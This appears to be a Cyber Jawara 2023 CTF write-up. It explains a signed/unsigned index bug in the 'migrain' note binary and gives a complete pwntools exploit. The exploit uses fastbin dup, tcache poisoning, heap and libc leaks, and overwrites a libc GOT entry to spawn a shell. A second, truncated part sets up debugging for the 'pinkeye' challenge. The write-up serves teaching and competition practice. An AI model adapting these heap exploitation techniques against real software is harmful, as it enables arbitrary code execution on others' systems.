Contents

Cyber Jawara 2023 Writeup

https://i.imgur.com/YLQCfht.png
Cyber Jawara 2023
During this weekend, I have been competing in the Cyber Jawara CTF 2023 with my local team, Fidethus. In this writeup, I will be sharing my solutions for some of the challenges that I solved.

Pwn

migrain

Description

simple migrain manager, i mean note

137.184.6.25 17001

Initial Analysis

In this challenge, we were given a binary called migrain. Let’s disassemble the binary and take a closer look at some important functions.

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  chunk_struct main_arr; // [rsp+0h] [rbp-650h] BYREF
  unsigned __int64 v4; // [rsp+648h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  pre_setup_17A1();
  puts("Cyber Jawara 2023: Break this Notes with Infinite Loop");
  init_main_arr_1269(&main_arr);
  main_func_1496(&main_arr);
}

This is the main function, which will call two important functions, init_main_arr_1269 and main_func_1496.

init_main_arr_1269

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
struct chunk_struct
{
  uint8_t count;
  char *chunks[200];
};

chunk_struct *__fastcall init_main_arr_1269(chunk_struct *main_arr)
{
  chunk_struct *result; // rax
  unsigned __int8 i; // [rsp+17h] [rbp-1h]

  result = main_arr;
  main_arr->count = 0;
  for ( i = 0; i <= 0xC7u; ++i )
  {
    main_arr->chunks[i] = 0LL;
    result = (chunk_struct *)((unsigned int)i + 1);
  }
  return result;
}

Ok, so we have a chunk_struct, which keep tracks the count of the total chunks, and it will nullify all the chunks first.

main_func_1496

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn main_func_1496(chunk_struct *main_arr)
{
  int v1; // eax

  while ( 1 )
  {
    v1 = print_menu_152E();
    if ( v1 == 4 )
    {
      cleanup_12AA((unsigned __int8 *)main_arr);
      puts("Exit....");
      exit(0);
    }
    if ( v1 > 4 )
      break;
    switch ( v1 )
    {
      case 3:
        destroy_1705((__int64)main_arr);
        break;
      case 1:
        add_15FD(main_arr);
        break;
      case 2:
        view_1665((__int64)main_arr);
        break;
      default:
        goto LABEL_11;
    }
  }
LABEL_11:
  exit(0);
}

This is the real main function, it has 4 menu, which are:

  • add
  • view
  • destroy
  • cleanup (I didn’t use this at all, so I won’t check this function).

Let’s try to disassemble it one by one.

add_15FD

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
ssize_t __fastcall add_15FD(chunk_struct *main_arr)
{
  void *s; // [rsp+18h] [rbp-8h]

  printf("Payload: ");
  s = (void *)alloc_chunk_130D(main_arr);
  memset(s, 0, 0x64uLL);
  return read(0, s, 0x64uLL);
}

__int64 __fastcall alloc_chunk_130D(chunk_struct *main_arr)
{
  uint8_t v1; // al
  char *ptr_to_data; // [rsp+18h] [rbp-8h]

  ptr_to_data = (char *)malloc(8uLL);
  *(_QWORD *)ptr_to_data = malloc(0x64uLL);
  v1 = main_arr->count++;
  main_arr->chunks[v1] = ptr_to_data;
  return *(_QWORD *)ptr_to_data;
}

So, this add functions will allocate two chunks (0x8 and 0x64) size. The smaller chunk will be used to store the pointer to the larger chunk, and the larger chunk will be used to store our payload. There are one interesting thing that we can see here:

  • add doesn’t have any limit, we can add as many chunks as possible.
    • However, remember that main_arr->count is actually uint8, so if you add more than the uint8 limit, the count will be rest back to 0.

view_1665

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall view_1665(chunk_struct *main_arr)
{
  const char *data; // rax
  int idx; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index: ");
  if ( !(unsigned int)__isoc99_scanf("%d", &idx) )
    exit(1);
  data = (const char *)get_chunk_136B(main_arr, idx);
  printf("Data: %s\n", data);
  return v4 - __readfsqword(0x28u);
}
__int64 __fastcall get_chunk_136B(chunk_struct *main_arr, uint8_t idx)
{
  if ( idx >= main_arr->count || !main_arr->chunks[idx] )
  {
    puts("Note index out of range.");
    exit(1);
  }
  return *(_QWORD *)main_arr->chunks[idx];
}

This view functions will check whether our given idx is:

  • Smaller than the current count
  • Pointing to active chunk After this validation, it will return to use the contents of the chunk.

destroy_1705

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall destroy_1705(chunk_struct *main_arr)
{
  int idx; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Enter the index of the note to destroy: ");
  if ( !(unsigned int)__isoc99_scanf("%d", &idx) )
    exit(1);
  check_destroy_13D1((unsigned __int8 *)main_arr, idx);
  main_arr->chunks[idx] = 0LL;
  return v3 - __readfsqword(0x28u);
}
void __fastcall check_destroy_13D1(chunk_struct *main_arr, uint8_t idx)
{
  if ( idx >= main_arr->count || !main_arr->chunks[idx] )
  {
    puts("Note index out of range.");
    exit(1);
  }
  free(*(void **)main_arr->chunks[idx]);
}

Notice that destroy function will try to free the larger chunk (which contains our input payload), then nullify the chunks[idx] array to 0. This seems okay, but this function has the main vulnerability that can be abused later. The bug is very subtle, but observe that if you send a negative value, in the destroy function, the idx will be treated as signed, but in the check_destroy, it will be treated as unsigned.

This bug means that if we try to destroy an item with negative index, our larger chunk will still get destroyed by the check_destroy function, but the chunks[idx] that is being nullified is the signed value version, which means that the chnks[unsigned(idx)] won’t be nullified, leading to Use-After-Free and Double Free.

Now that we know the vulnerability, we need to think what’s the strategy here to exploit this binary.

Solution

First, with the UAF bug, we can easily leak the heap address of the chunks, because after the chunks getting freed with negative index, we can still view the content of it, which now contains mangled pointer to the next freed chunk.

Second, observe that we basically can only allocate chunk with size 0x70. This means that if we fulfill the tcache[0x70], the next freed chunks will go to fastbin. With the Double Free vulnerability that we can trigger as well, we can do fastbin dup attack, by doing a sequence of:

  • free(a)
  • free(b)
  • free(a)

The above sequence will cause the fastbin linked list will be like a -> b -> a, and this can be abused later.

Stage 1: Leak heap & trigger fastbin dup

First, let’s start by creating our helper to make our life easier.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import p64, u64, p32, u32
from pwn import *

exe = ELF("migrain_patched")
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.37.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

# remote_url = "137.184.6.25"
remote_url = 'localhost'
remote_port = 17001
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

def demangle(val, is_heap_base=False):
    if not is_heap_base:
        mask = 0xfff << 52
        while mask:
            v = val & mask
            val ^= (v >> 12)
            mask >>= 12
        return val
    return val << 12

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

r = conn()


# Max size = 0x64, chunk_size = 0x70
def add(payload):
    r.sendlineafter(b'>> ', b'1')
    r.sendafter(b'Payload: ', payload)

def view(idx):
    r.sendlineafter(b'>> ', b'2')
    r.sendlineafter(b'Index: ', str(idx).encode())
    r.recvuntil(b'Data: ')
    out = r.recvline().strip()
    return out

def destroy(idx):
    r.sendlineafter(b'>> ', b'3')
    r.sendlineafter(b'destroy: ', str(idx).encode())

def neg(x):
    return x-256

Our first target is we want to get a heap leak and doing tcache poisoning. Let’s start by allocating a lot of chunks first, so that we can use negative index to trigger UAF and Double-Free later.

1
2
3
for i in range(200):
    print(i)
    add(p8(i)*8)

After allocating a lot of chunks, let’s try to fulfill the tcache.

1
2
3
# Fulfill tcache
for i in range(7):
    destroy(i)

Let’s check in the gdb to ensure that tcache[0x70] is full.

1
2
3
pwndbg> bins
tcachebins
0x70 [  7]: 0x5613ef239620 —▸ 0x5613ef239590 —▸ 0x5613ef239500 —▸ 0x5613ef239470 —▸ 0x5613ef2393e0 —▸ 0x5613ef239350 —▸ 0x5613ef2392c0 ◂— 0x0

Because tcache[0x70] is now full, every time we free a new chunk, it will go to fastbin. Now, we can try to trigger fastbin dup like what I explained before. We will need to use negative index to trigger the double-free and UAF (to leak the heap address).

1
2
3
4
5
6
7
destroy(neg(198))
destroy(neg(197))
destroy(neg(198))

out = u64(view(198)[:6].ljust(8, b'\x00'))
leaked_heap = demangle(out)
info(f'{hex(leaked_heap) = }')

Let’s check in the gdb to see the current fastbin state.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> bins
tcachebins
0x70 [  7]: 0x5613ef239620 —▸ 0x5613ef239590 —▸ 0x5613ef239500 —▸ 0x5613ef239470 —▸ 0x5613ef2393e0 —▸ 0x5613ef239350 —▸ 0x5613ef2392c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5613ef240210 —▸ 0x5613ef240180 ◂— 0x5613ef240210

As you can see, we successfully trigger it. We also get a heap leak from it. Now, the next stage is we need to leak libc address.

Stage 2: Leak LIBC address

Before trying to get a libc leak, you might be wondering why do we need to do the fastbin dup, what’s the purpose of it? To see what we can do with it, let’s try to empty the tcache first, because before we can use the freed chunk stored in the fastbin, tcache will be prioritized first by the glibc allocator.

1
2
3
4
5
6
7
8
target = leaked_heap-0x6e80

# Empty tcache
for i in range(7):
    fake_chunk = b'a'*0x30
    fake_chunk += p64(0)+p64(0x31)
    fake_chunk += p64(mangle(target, 0x0))
    add(fake_chunk)

I will explain about the fake_chunk later, but for now, let’s focus on what happen after we emptied the tcache. After we emptied the tcache, let’s check the bins state first.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5613ef240210 —▸ 0x5613ef240180 ◂— 0x5613ef240210

Now, what will happen if we try to allocate a new chunk with this fastbins state? Let say that we try to allocate a new chunk where the value is the mangled pointer of any address in the heap. In this case, I set the value of the new chunk to the leaked_heap-0x6e80, which is 0x5613ef239300.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
pwndbg> bins
tcachebins
0x70 [  3]: 0x5613ef240190 —▸ 0x5613ef240220 —▸ 0x5613ef239300 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0

As you can see, the tcache[0x70] now contains 3 items, where the last item is the address that we input before during allocating a new chunk. So what happened here is that if you look in this libc _int_malloc code, there is a logic where during allocating a new chunk, it will try to iterate the fastbin and move it to the tcache.

Now, you might wonder why the tcache[0x70] contains 3 items instead of 2, because if you remember before, the fastbins have 3 items, and we allocate 1 chunk, so it should be 2. The reason is because of the fastbin dup that we trigger caused it. Here I will explained what happened in details.

Let’s start by checking through the _int_malloc below code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
static void *
_int_malloc (mstate av, size_t bytes)
{
...
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
      {
        if (__glibc_unlikely (misaligned_chunk (victim)))
          malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");

        if (SINGLE_THREAD_P)
          *fb = REVEAL_PTR (victim->fd);
        else
          REMOVE_FB (fb, pp, victim);
        if (__glibc_likely (victim != NULL))
          {
            size_t victim_idx = fastbin_index (chunksize (victim));
            if (__builtin_expect (victim_idx != idx, 0))
            malloc_printerr ("malloc(): memory corruption (fast)");
            check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
            /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
            size_t tc_idx = csize2tidx (nb);
            if (tcache && tc_idx < mp_.tcache_bins)
            {
              mchunkptr tc_victim;

              /* While bin not empty and tcache not full, copy chunks.  */
              while (tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = *fb) != NULL)
                {
                  if (__glibc_unlikely (misaligned_chunk (tc_victim)))
                  malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
                  if (SINGLE_THREAD_P)
                  *fb = REVEAL_PTR (tc_victim->fd);
                  else
                  {
                    REMOVE_FB (fb, pp, tc_victim);
                    if (__glibc_unlikely (tc_victim == NULL))
                      break;
                  }
                  tcache_put (tc_victim, tc_idx);
                }
            }
#endif
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
          }
      }
    }
...  
}

First, when we try to allocate a new 0x70 chunk, the _int_malloc will fetch the first pointer in the fastbin linked list, and later will use it as the allocated chunk.

1
2
3
4
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

Now, this below code tells us that it will try to get the fastbin fd pointer and then try to iterate the linked list until either the tcache is full, or the fd pointer is null.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
          *fb = REVEAL_PTR (victim->fd);
...
            /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
            size_t tc_idx = csize2tidx (nb);
            if (tcache && tc_idx < mp_.tcache_bins)
            {
              mchunkptr tc_victim;

              /* While bin not empty and tcache not full, copy chunks.  */
              while (tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = *fb) != NULL)
                {
                {
                  if (__glibc_unlikely (misaligned_chunk (tc_victim)))
                  malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
                  if (SINGLE_THREAD_P)
                  *fb = REVEAL_PTR (tc_victim->fd);
                  else
                  {
                    REMOVE_FB (fb, pp, tc_victim);
                    if (__glibc_unlikely (tc_victim == NULL))
                      break;
                  }
                  tcache_put (tc_victim, tc_idx);
                }
            }
#endif
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;

Now, let’s try to imagine the scenario that happened in our case due to the fastbin dup based on the above glibc code:

  • First, let say that the current state of our fastbin is:
    • a->b->a.
  • When the malloc is called, the glibc will take the first pointer in the fastbin (which is a), and stored it in victim variable.
  • It also initialize a variable called fb which points to a.
  • Then, it will check whether victim->fd is null or not. Because victim is a, this means that it is not null (a->fd is b). Due to this, the glibc code will start moving the fastbin chunks to tcache. Below is the step-by-step that the glibc code did:
    • Get fb->fd (fb is b, so fb->fd is a) and stored it at fb (fb=a).
    • Move b to tcache
      • Now, tcache[0x70] = b, with count = 1.
      • And due to the move, b->fd will be cleared (NULL).
    • Get fb->fd (fb is a, so fb->fd is b again due to the fastbin dup that we caused before).
    • Move a to tcache
      • Now, tcache[0x70] = a-> b, with count = 2.
      • And due to the move, a->fd will be cleared (NULL).
    • Get fb->fd (fb is b, so the result is NULL due to it has been cleared before by the glibc) and stored it at fb (fb=NULL).
    • Move b to tcache again.
      • Now, tcache[0x70] = b -> a -> b, with count = 3.
      • And due to the move, b->fd will be cleared (NULL).
    • Now, because fb is NULL, the loop is stopped, and malloc will return victim (which is a).
  • Remember that a is actually still part of the tcache[0x70], so now we have overlapping chunk between an active chunk and tcache chunk.
  • This means, the value that we put during allocating this chunk will be used as the tcache pointer as well.
  • Before we fill the allocated chunk, the current tcache state is like b->a->b.
  • After we fill the allocated chunk, the tcache linked list will be changed to b->a-><our_controlled_value>.

Based on the above scenario, we basically successfully poison the tcache, and the third allocation will be placed to any address that we set.

Back to our payload, what is leaked_heap-0x6e80 (we will call it target) address? Why we use it to poison the last tcache item? The reason is because we want to allocate an overlapping chunk, and that address is located in the middle of a chunk.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwndbg> x/50gx 0x5613ef239300-0x50
0x5613ef2392b0:	0x0000000000000000	0x0000000000000071
0x5613ef2392c0:	0x6161616161616161	0x6161616161616161
0x5613ef2392d0:	0x6161616161616161	0x6161616161616161
0x5613ef2392e0:	0x6161616161616161	0x6161616161616161
0x5613ef2392f0:	0x0000000000000000	0x0000000000000031
0x5613ef239300:	0x00000005613ef239	0x0000000000000000 <- tcache last item that we set
0x5613ef239310:	0x0000000000000000	0x0000000000000000
0x5613ef239320:	0x0000000000000000	0x0000000000000021
0x5613ef239330:	0x00005613ef239350	0x0000000000000000
0x5613ef239340:	0x0000000000000000	0x0000000000000071
0x5613ef239350:	0x6161616161616161	0x6161616161616161
0x5613ef239360:	0x6161616161616161	0x6161616161616161
0x5613ef239370:	0x6161616161616161	0x6161616161616161

If we allocate a new chunk to that position, we will be able to modify the size of the other chunks below it because with the ability of writing 0x64 data starting from that address, we can overwrite the adjacent chunks size.

This is how we will leak the libc address. We can change the overlapping 0x70 chunks size to 0x461 (or any size, as long as the chunk_address+size is pointing to other valid chunk), so that when we destroy the forged chunk, it will go to unsorted bin, and with the UAF bug, we can get a libc leak.

Another thing to notice is that the target reside on the fake_chunk that we create during emptying the tcache before, and I carefully craft the value to ensure that the tcache won’t be corrupted. If you revisit the current tcachebins:

1
2
3
pwndbg> bins
tcachebins
0x70 [  3]: 0x5613ef240190 —▸ 0x5613ef240220 —▸ 0x5613ef239300 ◂— 0x0

We can see that the last item is pointing to 0x0 address. This is because I specifically set the target value to mangled pointer of 0x0 address (which in this case 0x00000005613ef239) during crafting the fake_chunk value.

Now, let’s try to allocate this chunk and changes the below 0x70 chunk size to get a libc leak.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Use 2 tcache items
add(b'b')
add(b'c')

# Allocate our fake chunk, where this will change the size of the
# below chunk to 0x460
fake_chunk = b'a'*0x20
fake_chunk += p64(0)+p64(0x21)
fake_chunk += p64(leaked_heap-0x6e30) + p64(0)
fake_chunk += p64(0)+p64(0x461)
fake_chunk += p64(0)
add(fake_chunk)

Checking in the gdb, we can see that the below chunk size got overwritten to 0x461.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pwndbg> x/50gx 0x5613ef239300-0x50
0x5613ef2392b0:	0x0000000000000000	0x0000000000000071
0x5613ef2392c0:	0x6161616161616161	0x6161616161616161
0x5613ef2392d0:	0x6161616161616161	0x6161616161616161
0x5613ef2392e0:	0x6161616161616161	0x6161616161616161
0x5613ef2392f0:	0x0000000000000000	0x0000000000000031
0x5613ef239300:	0x6161616161616161	0x6161616161616161
0x5613ef239310:	0x6161616161616161	0x6161616161616161
0x5613ef239320:	0x0000000000000000	0x0000000000000021
0x5613ef239330:	0x00005613ef239350	0x0000000000000000
0x5613ef239340:	0x0000000000000000	0x0000000000000461
0x5613ef239350:	0x0000000000000000	0x0000000000000000
0x5613ef239360:	0x6161616100000000	0x6161616161616161
0x5613ef239370:	0x6161616161616161	0x6161616161616161

Now, we only need to destroy this chunk, and with UAF, get the leaked libc address.

1
2
3
4
5
6
destroy(neg(205))
out = u64(view(205)[:6].ljust(8, b'\x00'))
leaked_libc = out
info(f'{hex(leaked_libc) = }')
libc.address = leaked_libc - (libc.symbols['main_arena']+96)
info(f'{hex(libc.address) = }')

After this, we can move to the final stage, which is controlling the RIP value.

Stage 3: RIP Control

To recap, we now have:

  • heap address
  • libc address

Now, we need to get RIP Control, so that we can spawn a shell. Remember that with the previous fastbin dup trick, we actually can create a new tcache chunk in any position. So, for the final step, we only need to repeat the trick.

First, let’s clean up the bins by allocating a lot of new chunks.

1
2
3
for i in range(0x120):
    print(i)
    add(p64(i)*4)

Now, we repeat the same trick that we use before. But before that, what target should we aim to get RIP control?

During the competition, I decided to allocate a new tcache chunk at the libc GOT, so that I can overwrite the strlen libc GOT entry with system. I did this because we have view function, which will call printf, and based on observation in gdb, its internal call will call strlen(chunk). So, if we able to overwrite strlen libc GOT entry with system, when we call view to a chunk which contained /bin/sh string, we will spawn a shell!

Let’s start to redo our previous trick:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# Fulfill tcache
for i in range(7):
    destroy(i)

destroy(neg(198))
destroy(neg(197))
destroy(neg(198))

# Leak new heap
out = u64(view(197)[:6].ljust(8, b'\x00'))
leaked_heap = demangle(out)
info(f'{hex(leaked_heap) = }')

# Empty tcache
for i in range(7):
    add(p64(i))

# Tcache poisoning
target = libc.address + 0x1f6080 # strlen GOT entry address
add(p64(mangle(leaked_heap, target)))

# Use 2 tcache items
add(b'b')
add(b'/bin/sh\x00')

# Poison the libc GOT entries, because this
# allocation will allocate a new chunk in the target,
# which is strlen GOT entry address
# Remember that add function memset the chunk to 0, so we
# need to ensure the other GOT entry near strlen remains the
# same
payload = p64(libc.symbols['system'])
payload += p64(libc.address+(0x7f00ff976890-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff972710-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff973db0-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff976b80-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff973660-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff9719c0-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff822180-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff822190-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff8ad6d0-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff970b60-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff974190-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff8221d0-0x7f00ff800000))
add(payload[:0x64])

# View index -4 manually
r.interactive()

Now, if we call view to the chunk which contains /bin/sh string, we will spawn a shell.

Full script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
from pwn import p64, u64, p32, u32
from pwn import *

exe = ELF("migrain_patched")
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.37.so")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

remote_url = "137.184.6.25"
# remote_url = 'localhost'
remote_port = 17001
gdbscript = '''
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote(remote_url, remote_port)

    return r

def demangle(val, is_heap_base=False):
    if not is_heap_base:
        mask = 0xfff << 52
        while mask:
            v = val & mask
            val ^= (v >> 12)
            mask >>= 12
        return val
    return val << 12

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

r = conn()


# Max size = 0x64, chunk_size = 0x70
def add(payload):
    r.sendlineafter(b'>> ', b'1')
    r.sendafter(b'Payload: ', payload)

def view(idx):
    r.sendlineafter(b'>> ', b'2')
    r.sendlineafter(b'Index: ', str(idx).encode())
    r.recvuntil(b'Data: ')
    out = r.recvline().strip()
    return out

def destroy(idx):
    r.sendlineafter(b'>> ', b'3')
    r.sendlineafter(b'destroy: ', str(idx).encode())

def neg(x):
    return x-256

# Max 0xff
for i in range(200):
    add(p8(i)*8)

# Fulfill tcache
for i in range(7):
    destroy(i)
print(f'Fulfill tcache')
pause()

destroy(neg(198))
destroy(neg(197))
destroy(neg(198))
print(f'fastbin dup')
pause()

out = u64(view(198)[:6].ljust(8, b'\x00'))
leaked_heap = demangle(out)
info(f'{hex(leaked_heap) = }')
pause()

target = leaked_heap-0x6e80
info(f'{hex(target) = }')

# Empty tcache
for i in range(7):
    fake_chunk = b'a'*0x30
    fake_chunk += p64(0)+p64(0x31)
    fake_chunk += p64(mangle(target, 0x0))
    add(fake_chunk)

print('tcache empty')
pause()
add(p64(mangle(leaked_heap, target)))
print('finished allocating a new chunk')
pause()

# Use 2 tcache items
add(b'b')
add(b'c')

# Allocate our fake chunk, where this will change the size of the
# below chunk to 0x460
fake_chunk = b'a'*0x20
fake_chunk += p64(0)+p64(0x21)
fake_chunk += p64(leaked_heap-0x6e30) + p64(0)
fake_chunk += p64(0)+p64(0x461)
fake_chunk += p64(0)
add(fake_chunk)
print(f'change chunk size')
pause()

destroy(neg(205))
out = u64(view(205)[:6].ljust(8, b'\x00'))
leaked_libc = out
info(f'{hex(leaked_libc) = }')
libc.address = leaked_libc - (libc.symbols['main_arena']+96)
info(f'{hex(libc.address) = }')
pause()

# Cleanup unsorted_bin by allocating a lot of new chunks
for i in range(0x120):
    print(i)
    add(p64(i)*4)
print(f'allocate a lot of new chunks')
pause()

# Fulfill tcache
for i in range(7):
    destroy(i)

destroy(neg(198))
destroy(neg(197))
destroy(neg(198))

# Leak new heap
out = u64(view(197)[:6].ljust(8, b'\x00'))
leaked_heap = demangle(out)
info(f'{hex(leaked_heap) = }')

# Empty tcache
for i in range(7):
    add(p64(i))

# Tcache poisoning
target = libc.address + 0x1f6080 # strlen GOT entry address
add(p64(mangle(leaked_heap, target)))

# Use 2 tcache items
add(b'b')
add(b'/bin/sh\x00')

# Poison the libc GOT entries, because this
# allocation will allocate a new chunk in the target,
# which is strlen GOT entry address
# Remember that add function memset the chunk to 0, so we
# need to ensure the other GOT entry near strlen remains the
# same
payload = p64(libc.symbols['system'])
payload += p64(libc.address+(0x7f00ff976890-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff972710-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff973db0-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff976b80-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff973660-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff9719c0-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff822180-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff822190-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff8ad6d0-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff970b60-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff974190-0x7f00ff800000))
payload += p64(libc.address+(0x7f00ff8221d0-0x7f00ff800000))
add(payload[:0x64])

# View index -4 manually
r.interactive()

Flag: CJ2023{95b7d2fa59d0fc9372d62b83b5250bc2}

pinkeye

Description

cant stop blinking when you got pinkeye

137.184.6.25 17003

Initial Analysis

In this challenge, we were given a binary called blink and a Dockerfile to build it locally. Taking a look in the given Dockerfile, we can see that blink is actually taken from an open source repository. Based on the information in the repository, blink is a virtual machine that can be used to emulate x86-64 programs.

I was trying to clone the repository and try to read the source code, but it has too many codes and I’m too lazy to read it. So, I decided to blackbox this challenge, by trying to create a simple ELF, put it in the blink binary, and observe its behavior using gdb.

Setup Debugging Environment

First, we need to setup the debugging environment first. During the competition, trying to debug directly in the docker helps me a lot because the memory layout in my local and docker are different. So, let’s start by modifying the given Dockerfile and docker-compose.yml, so that we can debug it easily.

For the Dockerfile, let’s remove user 1000 and install gdb and my favorite extension, pwndbg. Below is the modified Dockerfile.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update
RUN apt-get install python3 -qy
RUN apt install git gdb nano -y
RUN git clone https://github.com/pwndbg/pwndbg && \
    cd pwndbg && \
    ./setup.sh

COPY ynetd /
COPY chall /app

RUN echo 'CJ2023{test_flag}' > /flag-`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt

WORKDIR /app

EXPOSE 13337

CMD /ynetd -p 13337 "timeout 60 python3 -u ./runner.py 2>/dev/null"

We also need to modify the docker-compose.yml file so that we can debug running process with gdb. Below is the modified docker-compose.yml file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
version: '3'
services:
  blink:
    restart: always
    build:
      context: .
    working_dir: /app
    ports:
      - "17003:13337" # exposed:local
    cap_add:
    - SYS_PTRACE

Now, build this container and we will be able to debug and replicate the remote environment as close as possible. We can simply go into the container bash, then run the gdb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
docker exec -it pinkeye_blink_1 /bin/bash
root@7c95c1ab911f:/app# LC_CTYPE=C.UTF-8 gdb blink
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
